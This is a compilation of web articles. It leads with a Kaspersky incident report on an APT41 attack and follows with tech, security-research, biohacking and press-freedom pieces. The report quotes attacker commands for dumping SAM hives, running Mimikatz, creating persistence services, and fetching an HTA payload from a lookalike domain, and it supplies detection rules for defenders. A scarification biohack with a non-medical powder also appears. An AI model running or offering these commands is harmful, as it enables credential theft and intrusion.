Introduction

Some time ago, Kaspersky MDR analysts detected a targeted attack against government IT services in the African region. The attackers used hardcoded names of internal services, IP addresses, and proxy servers embedded within their malware. One of the C2s was a captive SharePoint server within the victim’s infrastructure.

During our incident analysis, we were able to determine that the threat actor behind the activity was APT41. This is a Chinese-speaking cyberespionage group known for targeting organizations across multiple sectors, including telecom and energy providers, educational institutions, healthcare organizations and IT energy companies in at least 42 countries. It’s worth noting that, prior to the incident, Africa had experienced the least activity from this APT.

Incident investigation and toolkit analysis

Detection

Our MDR team identified suspicious activity on several workstations within an organization’s infrastructure. These were typical alerts indicating the use of the WmiExec module from the Impacket toolkit. Specifically, the alerts showed the following signs of the activity:

• A process chain of svchost.exe ➔exe ➔ cmd.exe
• The output of executed commands being written to a file on an administrative network share, with the file name consisting of numbers separated by dots:

WmiExec process tree

The attackers also leveraged the Atexec module from the Impacket toolkit.

Scheduler tasks created by Atexec

The attackers used these commands to check the availability of their C2 server, both directly over the internet and through an internal proxy server within the organization.

The source of the suspicious activity turned out to be an unmonitored host that had been compromised. Impacket was executed on it in the context of a service account. We would later get that host connected to our telemetry to pinpoint the source of the infection.

After the Atexec and WmiExec modules finished running, the attackers temporarily suspended their operations.

Privilege escalation and lateral movement

After a brief lull, the attackers sprang back into action. This time, they were probing for running processes and occupied ports:
cmd.exe /c netstat -ano > C:\Windows\temp\temp_log.log
cmd.exe /c tasklist /v > C:\Windows\temp\temp_log.log
They were likely trying to figure out if the target hosts had any security solutions installed, such as EDR, MDR or XDR agents, host administration tools, and so on.

Additionally, the attackers used the built-in reg.exe utility to dump the SYSTEM and SAM registry hives.
cmd.exe /c reg save HKLM\SAM C:\Windows\temp\temp_3.log
cmd.exe /c reg save HKLM\SYSTEM C:\Windows\temp\temp_4.log
On workstations connected to our monitoring systems, our security solution blocked the activity, which resulted in an empty dump file. However, some hosts within the organization were not secured. As a result, the attackers successfully harvested credentials from critical registry hives and leveraged them in their subsequent attacks. This underscores a crucial point: to detect incidents promptly and minimize damage, security solution agents must be installed on all workstations across the organization without exception. Furthermore, the more comprehensive your telemetry data, the more effective your response will be. It’s also crucial to keep a close eye on the permissions assigned to service and user accounts, making sure no one ends up with more access rights than they really need. This is especially true for accounts that exist across multiple hosts in your infrastructure.

In the incident we’re describing here, two domain accounts obtained from a registry dump were leveraged for lateral movement: a domain account with local administrator rights on all workstations, and a backup solution account with domain administrator privileges. The local administrator privileges allowed the attackers to use the SMB protocol to transfer tools for communicating with the C2 to the administrative network share C$. We will discuss these tools – namely Cobalt Strike and a custom agent – in the next section.

In most cases, the attackers placed their malicious tools in the C:\WINDOWS\TASKS\ directory on target hosts, but they used other paths too:
c:\windows\tasks\
c:\programdata\
c:\programdata\usoshared\
c:\users\public\downloads\
c:\users\public\
c:\windows\help\help\
c:\users\public\videos\
Files from these directories were then executed remotely using the WMI toolkit:

Lateral movement via privileged accounts

C2 communication

Cobalt Strike

The attackers used Cobalt Strike for C2 communication on compromised hosts. They distributed the tool as an encrypted file, typically with a TXT or INI extension. To decrypt it, they employed a malicious library injected into a legitimate application via DLL sideloading.

Here’s a general overview of how Cobalt Strike was launched:

Attackers placed all the required files – the legitimate application, the malicious DLL, and the payload file – in one of the following directories:
C:\Users\Public\
C:\Users\{redacted}\Downloads\
C:\Windows\Tasks\
The malicious library was a legitimate DLL modified to search for an encrypted Cobalt Strike payload in a specifically named file located in the same directory. Consequently, the names of the payload files varied depending on what was hardcoded into the malicious DLL.

During the attack, the threat actor used the following versions of modified DLLs and their corresponding payloads:

Despite using various legitimate applications to launch Cobalt Strike, the payload decryption process was similar across instances. Let’s take a closer look at one example of Cobalt Strike execution, using the legitimate file cookie_exporter.exe, which is part of Microsoft Edge. When launched, this application loads msedge.dll, assuming it’s in the same directory.

The attackers renamed cookie_exporter.exe to Edge.exe and replaced msedge.dll with their own malicious library of the same name.

When any dynamic library is loaded, the DllEntryPoint function is executed first. In the modified DLL, this function included a check for a debugging environment. Additionally, upon its initial execution, the library verified the language packs installed on the host.. The malicious code would not run if it detected any of the following language packs:

• Japanese (Japan)
• Korean (South Korea)
• Chinese (Mainland China)
• Chinese (Taiwan)

If the system passes the checks, the application that loaded the malicious library executes an exported DLL function containing the malicious code. Because different applications were used to launch the library in different cases, the exported functions vary depending on what the specific software calls. For example, with msedge.dll, the malicious code was implemented in the ShowMessageWithString function, called by cookie_exporter.exe.

The ShowMessageWithString function retrieves its payload from Logs.txt, a file located in the same directory. These filenames are typically hardcoded in the malicious dynamic link libraries we’ve observed.

The screenshot below shows a disassembled code segment responsible for loading the encrypted file. It clearly reveals the path where the application expects to find the file.

The payload is decrypted by repeatedly executing the following instructions using 128-bit SSE registers:

Once the payload is decrypted, the malicious executable code from msedge.dll launches it by using a standard method: it allocates a virtual memory region within its own process, then copies the code there and executes it by creating a new thread. In other versions of similarly distributed Cobalt Strike agents that we examined, the malicious code could also be launched by creating a new process or upon being injected into the memory of another running process.

Beyond the functionality described above, we also found a code segment within the malicious libraries that appeared to be a message to the analyst. These strings are supposed to be displayed if the DLL finds itself running in a debugger, but in practice this doesn’t occur.

Once Cobalt Strike successfully launches, the implant connects to its C2 server. Threat actors then establish persistence on the compromised host by creating a service with a command similar to this:
C:\Windows\system32\cmd.exe /C sc create "server power" binpath= "cmd /c start C:\Windows\tasks\Edge.exe" && sc description "server power" "description" && sc config "server power" start= auto && net start "server power"
Attackers often use the following service names for embedding Cobalt Strike:
server power
WindowsUpdats
7-zip Update

Agent

During our investigation, we uncovered a compromised SharePoint server that the attackers were using as the C2. They distributed files named agents.exe and agentx.exe via the SMB protocol to communicate with the server. Each of these files is actually a C# Trojan whose primary function is to execute commands it receives from a web shell named CommandHandler.aspx, which is installed on the SharePoint server. The attackers uploaded multiple versions of these agents to victim hosts. All versions had similar functionality and used a hardcoded URL to retrieve commands:

The agents executed commands from CommandHandler.aspx using the cmd.exe command shell launched with the /c flag.

While analyzing the agents, we didn’t find significant diversity in their core functionality, despite the attackers constantly modifying the files. Most changes were minor, primarily aimed at evading detection. Outdated file versions were removed from the compromised hosts.

The attackers used the deployed agents to conduct reconnaissance and collect sensitive data, such as browser history, text files, configuration files, and documents with .doc, .docx and .xlsx extensions. They exfiltrated the data back to the SharePoint server via the upload.ashx web shell.

It is worth noting that the attackers made some interesting mistakes while implementing the mechanism for communicating with the SharePoint server. Specifically, if the CommandHandler.aspx web shell on the server was unavailable, the agent would attempt to execute the web page’s error message as a command:

Obtaining a command shell: reverse shell via an HTA file

If, after their initial reconnaissance, the attackers deemed an infected host valuable for further operations, they’d try to establish an alternative command-shell access. To do this, they executed the following command to download from an external resource a malicious HTA file containing an embedded JavaScript script and run this file:
"cmd.exe" /c mshta hxxp[:]//github.githubassets[.]net/okaqbfk867hmx2tvqxhc8zyq9fy694gf/hta
The group attempted to mask their malicious activity by using resources that mimicked legitimate ones to download the HTA file. Specifically, the command above reached out to the GitHub-impersonating domain github[.]githubassets[.]net. The attackers primarily used the site to host JavaScript code. These scripts were responsible for delivering either the next stage of their malware or the tools needed to further the attack.

At the time of our investigation, a harmless script was being downloaded from github[.]githubassets[.]net instead of a malicious one. This was likely done to hide the activity and complicate attack analysis.

The harmless script found on github[.]githubassets[.]net

However, we were able to obtain and analyze previously distributed scripts, specifically the malicious file 2CD15977B72D5D74FADEDFDE2CE8934F. Its primary purpose is to create a reverse shell on the host, giving the attackers a shell for executing their commands.
Once launched, the script gathers initial host information:

It then connects to the C2 server, also located at github[.]githubassets[.]net, and transmits a unique ATTACK_ID along with the initially collected data. The script leverages various connection methods, such as WebSockets, AJAX, and Flash. The choice depends on the capabilities available in the browser or execution environment.

Data collection

Next, the attackers utilized automation tools such as stealers and credential-harvesting utilities to collect sensitive data. We detail these tools below. Data gathered by these utilities was also exfiltrated via the compromised SharePoint server. In addition to the aforementioned web shell, the SMB protocol was used to upload data to the server. The files were transferred to a network share on the SharePoint server.

Pillager

A modified version of the Pillager utility stands out among the tools the attackers deployed on hosts to gather sensitive information. This tool is used to export and decrypt data from the target computer. The original Pillager version is publicly available in a repository, accompanied by a description in Chinese.

The primary types of data collected by this utility include:

• Saved credentials from browsers, databases, and administrative utilities like MobaXterm
• Project source code
• Screenshots
• Active chat sessions and data
• Email messages
• Active SSH and FTP sessions
• A list of software installed on the host
• Output of the systeminfo and tasklist commands
• Credentials stored and used by the operating system, and Wi-Fi network credentials
• Account information from chat apps, email clients, and other software

A sample of data collected by Pillager:

The utility is typically an executable (EXE) file. However, the attackers rewrote the stealer’s code and compiled it into a DLL named wmicodegen.dll. This code then runs on the host via DLL sideloading. They chose convert-moftoprovider.exe, an executable from the Microsoft SDK toolkit, as their victim application. It is normally used for generating code from Managed Object Format (MOF) files.

Despite modifying the code, the group didn’t change the stealer’s default output file name and path: C:\Windows\Temp\Pillager.zip.

It’s worth noting that the malicious library they used was based on the legitimate SimpleHD.dll HDR rendering library from the Xbox Development Kit. The source code for this library is available on GitHub. This code was modified so that convert-moftoprovider.exe loaded an exported function, which implemented the Pillager code.

Interestingly, the path to the PDB file, while appearing legitimate, differs by using PS5 instead of XBOX:

Checkout

The second stealer the attackers employed was Checkout. In addition to saved credentials and browser history, it also steals information about downloaded files and credit card data saved in the browser.

When launching the stealer, the attackers pass it a j8 parameter; without it, the stealer won’t run. The malware collects data into CSV files, which it then archives and saves as CheckOutData.zip in a specially created directory named CheckOut.

Data collection and archiving in Checkout

Checkout launch diagram in Kaspersky Threat Intelligence Platform

RawCopy

Beyond standard methods for gathering registry dumps, such as using reg.exe, the attackers leveraged the publicly available utility RawCopy (MD5 hash: 0x15D52149536526CE75302897EAF74694) to copy raw registry files.

RawCopy is a command-line application that copies files from NTFS volumes using a low-level disk reading method.

The following commands were used to collect registry files:
c:\users\public\downloads\RawCopy.exe /FileNamePath:C:\Windows\System32\Config\system /OutputPath:c:\users\public\downloads
c:\users\public\downloads\RawCopy.exe /FileNamePath:C:\Windows\System32\Config\sam /OutputPath:c:\users\public\downloads
c:\users\public\downloads\RawCopy.exe /FileNamePath:C:\Windows\System32\Config\security /OutputPath:c:\users\public\downloads

Mimikatz

The attackers also used Mimikatz to dump account credentials. Like the Pillager stealer, Mimikatz was rewritten and compiled into a DLL. This DLL was then loaded by the legitimate java.exe file (used for compiling Java code) via DLL sideloading. The following files were involved in launching Mimikatz:
C:\Windows\Temp\123.bat
C:\Windows\Temp\jli.dll
C:\Windows\Temp\java.exe
С:\Windows\Temp\config.ini
123.bat is a BAT script containing commands to launch the legitimate java.exe executable, which in turn loads the dynamic link library for DLL sideloading. This DLL then decrypts and executes the Mimikatz configuration file, config.ini, which is distributed from a previously compromised host within the infrastructure.
java.exe privilege::debug token::elevate lsadump::secrets exit

Retrospective threat hunting

As already mentioned, the victim organization’s monitoring coverage was initially patchy. Because of this, in the early stages, we only saw the external IP address of the initial source and couldn’t detect what was happening on that host. After some time, the host was finally connected to our monitoring systems, and we found that it was an IIS web server. Furthermore, despite the lost time, it still contained artifacts of the attack.

These included the aforementioned Cobalt Strike implant located in c:\programdata\, along with a scheduler task for establishing persistence on the system. Additionally, a web shell remained on the host, which our solutions detected as HEUR:Backdoor.MSIL.WebShell.gen. This was found in the standard temporary directory for compiled ASP.NET application files:
c:\windows\microsoft.net\framework64\v4.0.30319\temporary asp.net files\root\dedc22b8\49ac6571\app_web_hdmuushc.dll
MD5: 0x70ECD788D47076C710BF19EA90AB000D
These temporary files are automatically generated and contain the ASPX page code:

The web shell was named newfile.aspx. The screenshot above shows its function names. Based on these names, we were able to determine that this instance utilized a Neo-reGeorg web shell tunnel.

This tool is used to proxy traffic from an external network to an internal one via an externally accessible web server. Thus, the launch of the Impacket tools, which we initially believed was originating from a host unidentified at the time (the IIS server), was in fact coming from the external network through this tunnel.

Attribution

We attribute this attack to APT41 with a high degree of confidence, based on the similarities in the TTPs, tooling, and C2 infrastructure with other APT41 campaigns. In particular:

• The attackers used a number of tools characteristic of APT41, such as Impacket, WMI, and Cobalt Strike.
• The attackers employed DLL sideloading techniques.
• During the attack, various files were saved to C:\Windows\Temp.
• The C2 domain names identified in this incident (s3-azure.com, *.ns1.s3-azure.com, *.ns2.s3-azure.com) are similar to domain names previously observed in APT41 attacks (us2[.]s3bucket-azure[.]online, status[.]s3cloud-azure[.]com).

Takeaways and lessons learned

The attackers wield a wide array of both custom-built and publicly available tools. Specifically, they use penetration testing tools like Cobalt Strike at various stages of an attack. The attackers are quick to adapt to their target’s infrastructure, updating their malicious tools to account for specific characteristics. They can even leverage internal services for C2 communication and data exfiltration. The files discovered during the investigation indicate that the malicious actor modifies its techniques during an attack to conceal its activities – for example, by rewriting executables and compiling them as DLLs for DLL sideloading.

While this story ended relatively well – we ultimately managed to evict the attackers from the target organization’s systems – it’s impossible to counter such sophisticated attacks without a comprehensive knowledge base and continuous monitoring of the entire infrastructure. For example, in the incident at hand, some assets weren’t connected to monitoring systems, which prevented us from seeing the full picture immediately. It’s also crucial to maintain maximum coverage of your infrastructure with security tools that can automatically block malicious activity in the initial stages. Finally, we strongly advise against granting excessive privileges to accounts, and especially against using such accounts on all hosts across the infrastructure.

Appendix

Rules

Yara

rule neoregeorg_aspx_web_shell
{
meta:
description = "Rule to detect neo-regeorg based ASPX web-shells"
author = "Kaspersky"
copyright = "Kaspersky"
distribution = "DISTRIBUTION IS FORBIDDEN. DO NOT UPLOAD TO ANY MULTISCANNER OR SHARE ON ANY THREAT INTEL PLATFORM"

strings:
$func1 = "FrameworkInitialize" fullword
$func2 = "GetTypeHashCode" fullword
$func3 = "ProcessRequest" fullword
$func4 = "__BuildControlTree"
$func5 = "__Render__control1"

$str1 = "FAIL" nocase wide
$str2 = "Port close" nocase wide
$str3 = "Port filtered" nocase wide
$str4 = "DISCONNECT" nocase wide
$str5 = "FORWARD" nocase wide

condition:
uint16(0) == 0x5A4D and
filesize < 400000 and
3 of ($func*) and
3 of ($str*)
}

Sigma

title: Service Image Path Start From CMD
id: faf1e809-0067-4c6f-9bef-2471bd6d6278
status: test
description: Detects creation of unusual service executable starting from cmd /c using command line
references:
- tbd
tags:
- attack.persistence
- attack.T1543.003
author: Kaspersky
date: 2025/05/15
logsource:
product: windows
service: security
detection:
selection:
EventID: 4697
ServiceFileName|contains:
- '%COMSPEC%'
- 'cmd'
- 'cmd.exe'
ServiceFileName|contains|all:
- '/c'
- 'start'
condition: selection
falsepositives:
- Legitimate
level: medium

IOCs

Files

2F9D2D8C4F2C50CC4D2E156B9985E7CA
9B4F0F94133650B19474AF6B5709E773
A052536E671C513221F788DE2E62316C
91D10C25497CADB7249D47AE8EC94766
C3ED337E2891736DB6334A5F1D37DC0F
9B00B6F93B70F09D8B35FA9A22B3CBA1
15097A32B515D10AD6D793D2D820F2A8
A236DCE873845BA4D3CCD8D5A4E1AEFD
740D6EB97329944D82317849F9BBD633
C7188C39B5C53ECBD3AEC77A856DDF0C
3AF014DB9BE1A04E8B312B55D4479F69
4708A2AE3A5F008C87E68ED04A081F18
125B257520D16D759B112399C3CD1466
C149252A0A3B1F5724FD76F704A1E0AF
3021C9BCA4EF3AA672461ECADC4718E6
F1025FCAD036AAD8BF124DF8C9650BBC
100B463EFF8295BA617D3AD6DF5325C6
2CD15977B72D5D74FADEDFDE2CE8934F
9D53A0336ACFB9E4DF11162CCF7383A0
27F506B198E7F5530C649B6E4860C958

Domains and IPs

47.238.184[.]9
38.175.195[.]13
hxxp://github[.]githubassets[.]net/okaqbfk867hmx2tvqxhc8zyq9fy694gf/hta
hxxp://chyedweeyaxkavyccenwjvqrsgvyj0o1y.oast[.]fun/aaa
hxxp://toun[.]callback.red/aaa
hxxp://asd.xkx3[.]callback.[]red
hxxp[:]//ap-northeast-1.s3-azure[.]com
hxxps[:]//www[.]msn-microsoft[.]org:2053
hxxp[:]//www.upload-microsoft[.]com
s3-azure.com
*.ns1.s3-azure.com
*.ns2.s3-azure.com
upload-microsoft[.]com
msn-microsoft[.]org

MITRE ATT&CK

securelist.com/apt41-in-africa…

The mainboard of the mini arcade unit with its blob chip and EEPROM. (Credit: Poking Technology, YouTube)
For some reason, people are really into tiny arcade machines that basically require you to ruin your hands and eyes in order to play on them. That said, unlike the fifty gazillion ‘retro consoles’ that you can buy everywhere, the particular mini arcade machine that [David Given] of [Poking Technology] obtained from AliExpress for a teardown and ROM dump seems to have custom games rather than the typical gaggle of NES games and fifty ROM hack variations of each.

After a bit of gameplay to demonstrate the various games on the very tiny machine with tiny controls and a tiny 1.8″, 160×128 ST7735 LC display, the device was disassembled. Inside is a fairly decent speaker, the IO board for the controls, and the mainboard with an epoxy blob-covered chip and the SPI EEPROM containing the software. Dumping this XOR ‘encrypted’ ROM was straightforward, revealing it to be a 4 MB, W23X32-compatible EEPROM.

More after the break…

Further reverse-engineering showed the CPU to be a WDT65C02-compatible chip, running at 8 MHz with 2 kB of SRAM and 8 kB of fast ROM in addition to a 24 MHz link to the SPI EEPROM, which is used heavily during rendering. [David] created a basic SDK for those who feel like writing their own software for this mini arcade system. Considering the market that these mini arcade systems exist in, you’ve got to give the manufacturer credit for creating a somewhat original take, with hardware that is relatively easy to mod and reprogram.

Thanks to [Clint Jay] for the tip.

youtube.com/embed/jJ0XmZvR4bU?…

hackaday.com/2025/07/21/revers…

Giovedì 16 luglio è stata una giornata significativa per i ricercatori di sicurezza informatica del team italiano Red Team Research (RTR) di TIM, che ha visto pubblicate cinque nuove vulnerabilità (CVE) da loro scoperte nel progetto Eclipse GlassFish, una delle quali è stata valutata con un punteggio di 9.8.

Il Red Team Research di TIM è gruppo di ricerca attivo dall 2019, specializzato nell’attività di bug hunting, e ha pubblicato fino ad oggi oltre 170 CVE. Il team opera nel pieno rispetto dei principi della Coordinated Vulnerability Disclosure (CVD): una pratica etica che prevede la segnalazione confidenziale delle vulnerabilità ai produttori, permettendo loro di sviluppare e rilasciare patch correttive prima della pubblicazione ufficiale.

Una volta che la patch è disponibile, con il consenso del vendor, le vulnerabilità vengono pubblicate dal Red Team Research sul National Vulnerability Database (NVD) degli Stati Uniti, o dal vendor stesso se abilitato come CNA (CVE Numbering Authority)

Eclipse GlassFish: un progetto open-source centrale per Java EE

Eclipse GlassFish è un progetto open-source utilizzato sia per lo sviluppo che per il deploy di applicazioni Java EE (oggi Jakarta EE) a livello enterprise. Originariamente sviluppato da Oracle e noto come Oracle GlassFish fino al 2017, quando Oracle ha donato il codice sorgente a Eclipse Foundation. A partire da quel momento, il progetto GlassFish è stato preso in carico da Eclipse Foundantion e ad oggi supportato con la collaborazione di realtà come Payara, Fujitsu e OmniFish.

La migrazione ha rappresentato un’enorme sfida ingegneristica e legale, con il passaggio da Oracle a Eclipse Foundation di oltre 5,5 milioni di righe di codice e oltre 61.000 file. Il codice, storicamente riservato e proprietario, è stato reso pubblico, dando la possibilità di accedervi e conoscere i test svolti. Come si legge in un comunicato stampa dell’epoca, lo sforzo di migrazione è iniziato con EclipseLink e Yasson, che erano già presso la Eclipse Foundation. I primi progetti trasferiti da Oracle GitHub sono stati JSONP, JMS, WebSocket e OpenMQ, lavoro terminato nel gennaio 2018. Il repository GlassFish e i repository CTS/TCK sono stati trasferiti nel settembre 2018.

Le vulnerabilità scoperte

Di seguito l’elenco delle CVE emesse:

Nel dettaglio, la vulnerabilità identificata e classificata con il codice CVE-2024-9342, è stata rilevata sulla versione 7.0.16 (e precedenti)del prodotto Eclipse GlassFish e valutata 9.8 Critical nella scala CVSSv3 (da 1 a 10).

In particolare, è stato possibile eseguire attacchi di Login Brute Force su due specifici URL del prodotto. Questa vulnerabilità si verifica quando il prodotto non implementa misure sufficienti per prevenire più tentativi di autenticazione falliti in un breve lasso di tempo, rendendolo più suscettibile agli attacchi brute force. La gravità di questo tipo di attacchi è che non prevede prerequisiti; pertanto, è particolarmente pericolo se l’istanza GlassFish è esposta su internet.

L’impatto rilevato dalle analisi del Red Team Research è che un attaccante può sfruttare questa vulnerabilità per ottenere accesso con privilegi amministrativi alla Administration Console o Management REST Interface del server.

Uno sguardo al laboratorio Red Team Research di TIM

Si tratta di uno tra i pochi centri italiani di ricerca sui bug di sicurezza, dove da diverso tempo vengono effettuate attività che mirano all’identificazione di vulnerabilità non documentate (0day). Le attività condotte dal team, portano ad una successiva emissione di CVE sul National Vulnerability Database (NVD) degli Stati Uniti D’America, terminato il percorso di Coordinated Vulnerability Disclosure (CVD) con il vendor del prodotto.

Nel corso di 5 anni di attività, abbiamo visto il laboratorio, emettere moltissime CVE su prodotti best-in-class e big vendor di valenza internazionale, come ad esempio Oracle, IBM, Fortinet, F5, Ericsson, Red Hat, Nokia, Computer Associates, Siemens, F5, Fortinet, QNAP, Johnson & Control, Schneider Electric, oltre ad altri fornitori su tipologie differenti di architetture software/hardware.

Nel corso del tempo, il laboratorio ha emesso 170 CVE circa, dove 14 risultano con severità Critical (>= 9.0 di score CVSSv3).

Relativamente ad una vulnerabilità rilevata dal gruppo di ricerca sul prodotto Metasys Reporting Engine (MRE) Web Services, del fornitore Johnson & Control, la Cybersecurity and Infrastructure Security Agency (CISA) degli Stati Uniti D’America, ha emesso uno specifico bollettino di sicurezza riportandolo all’attenzione dei settori: “CRITICAL INFRASTRUCTURE SECTORS, COUNTRIES/AREAS DEPLOYED e COMPANY HEADQUARTERS LOCATION”.

Si tratta di un gruppo di ricerca tutto italiano che emette CVE con costanza, contribuendo in maniera fattiva alla ricerca delle vulnerabilità non documentate a livello internazionale. Il Red TIM Research si sta distinguendo a livello Italia sull’elevata caratura delle attività svolte, oltre a contribuire all’innalzamento dei livelli di sicurezza dei prodotti utilizzati da organizzazioni internazionali.

L'articolo Il Red Team Research di TIM scopre 5 CVE su Eclipse GlassFish, una critica (score 9,8) proviene da il blog della sicurezza informatica.

In questo episodio analizziamo la possibilità di utilizzare strumenti di intelligenza artificiale generativa per imparare una nuova lingua.

zerodays.podbean.com/e/io-e-ch…

Content warning: Human alteration and scalpels.
General warning: We are not speaking as doctors. Or lawyers.

If you watch sci-fi, you probably do not have to think hard to conjure a scene in a trendy bar where the patrons have glowing make-up or tattoos. That bit of futuristic flair was possible years ago with UV-reactive tattoo ink, but it has the unfortunate tendency to permanently fade faster than traditional ink. [Miana], a biohacker, wanted something that could last forever and glow on its own. After months of research and testing, she presents a technique with a silica-coated powder and scarification. Reddit post with graphic content.

The manufacturer does not sell the powder for internal use, so it requires sterilization in an autoclave, which should tell you why this is a hack and not just repurposing. The experimentation includes various scarification techniques and different bandaging approaches, but this is still a small group, and the oldest is measured in months, not years, as of the time of writing.

We think these look amazing, but there are significant caveats. If you have never done scarification, spoiler, it hurts! If the flesh cutting is not bad enough, someone gets to rub sand into the open cuts. You may find yourself carrying a UV flashlight everywhere to charge it up. [Miana] was kind enough to provide the link to the powder she uses, but this link is provided solely so our readers can investigate the ingredients.

If you are more interested in the glowing aspect than the biohacking part, be sure to read about making strontium aluminate. If you want to get into the weeds, you can make a phosphorescence detector and quantify how glow-y something is.

hackaday.com/2025/07/20/resear…

Dear Friend of Press Freedom,

It’s the 114th day that Rümeysa Öztürk is facing deportation by the United States government for writing an op-ed it didn’t like, and the 34th day that Mario Guevara has been imprisoned for covering a protest. Read on for more about how the government is stifling speech and reporting—and how to fight back.

Reporting isn’t ‘incitement,’ no matter what the government says

Not content with harassing journalists as they gather the news, the government is also increasingly threatening them with prosecution for reporting it.

At least three times now, the Trump administration has accused journalists who have reported on the government’s immigration crackdown of inciting violence or lawlessness. This raises the possibility that the government will attempt to prosecute journalists for incitement, the crime of instigating others to break the law.

Reporting the news doesn’t even come close to meeting the First Amendment standards for incitement. But the government is counting on its spurious accusations to silence reporting. Read more here.

FPF files complaint against judge who ruled for Trump in frivolous Pulitzer case

Freedom of the Press Foundation (FPF) and Demand Progress filed an ethics complaint against Edward Artau, a Florida judge who was nominated by President Donald Trump to a federal district court. The nomination came after Artau delivered a favorable ruling for Trump in his baseless lawsuit against the Pulitzer Board for not rescinding awards to journalists who were critical of Trump.

“Judges should be safeguarding us against President Trump’s frivolous attacks on the free press, the First Amendment and the rule of law. Instead, Judge Artau seems eager to facilitate Trump’s unconstitutional antics in exchange for a job … Attorney disciplinary commissions need to rise to this moment and not tolerate ethical violations that impact not only individuals before the court but our entire democracy,” said FPF Advocacy Director Seth Stern. Read more here.

Warren introduces presidential library bill

Trump’s presidential library has already received nearly half a billion dollars in known donations, including the settlement from his frivolous lawsuit against ABC. This is a staggering figure considering a library may never be built, and Trump’s CBS shakedown is poised to add to the haul.

This begs the question, is Trump using the ruse of building a library as a vehicle for funneling bribes? It’s possible, and a new bill introduced by Sen. Elizabeth Warren and endorsed by FPF would help put a stop to the potential corruption and make presidential foundations more transparent.

Read more about the bill here.

Gabbard fires FOIA officials after FPF request makes headlines

Director of National Intelligence Tulsi Gabbard has reportedly fired a Freedom of Information Act official who “facilitated” the release of a document to FPF in response to a records request we filed in April.

That document blew apart the Trump administration’s rationale for deporting Venezuelan nationals to El Salvador. The administration had also cited the supposed “fake news” to justify policy changes it claims allow it to investigate journalist-source communications.

FPF’s Daniel Ellsberg Chair on Government Secrecy Lauren Harper breaks down Gabbard’s attempts to stifle lawful disclosures and reporting and how we’re using FOIA to fight back. Read more here.

Fighting authoritarianism with transparency

Speaking of freedom of information, Harper joined NPR’s “1A” this week to discuss how government secrecy undermines the democratic process and what steps we can take to boost transparency.

With overclassification rampant, FOIA offices understaffed and underpowered, and the Trump administration exploiting loopholes to avoid transparency, we’re experiencing “dangerous levels of government secrecy,” Harper said.

But Harper also explained how specific reforms can increase transparency and help preserve our democracy. Listen here.

What we’re reading

ICE lawyers are hiding their names in immigration court (The Intercept). ICE lawyers shouldn’t hide their identities in court, and immigration judges shouldn’t condone the practice.

This disturbing trend must stop immediately.

Senate approves cuts to NPR, PBS, and foreign aid programs (NPR). Clawing back government funding for public media is an attack on every American who relies on it for news and emergency information.

How user-generated videos on social media brought Trump’s immigration crackdown to America’s screens (NBC News). This is exactly why we must defend the First Amendment right to record police in public and laws that protect against online censorship.

It’s not just the Epstein files. The Trump administration is withholding all kinds of public records. (MSNBC). FOIA is “certainly on life support,” said FPF’s Harper.

NJ reporter faces legal battle over police blotter (New Jersey Globe). “Prosecuting journalists for declining to censor themselves is alarming and blatantly unconstitutional, as is ordering the press to unpublish news reports,” explained FPF’s Seth Stern.

How factory farms criminalized journalism to block viral videos of animal cruelty (Rolling Stone). Even as they’re struck down for violating the First Amendment, ag-gag laws that limit the public’s access to information about the agricultural industry are becoming a model for cracking down on reporting on other industries, too.

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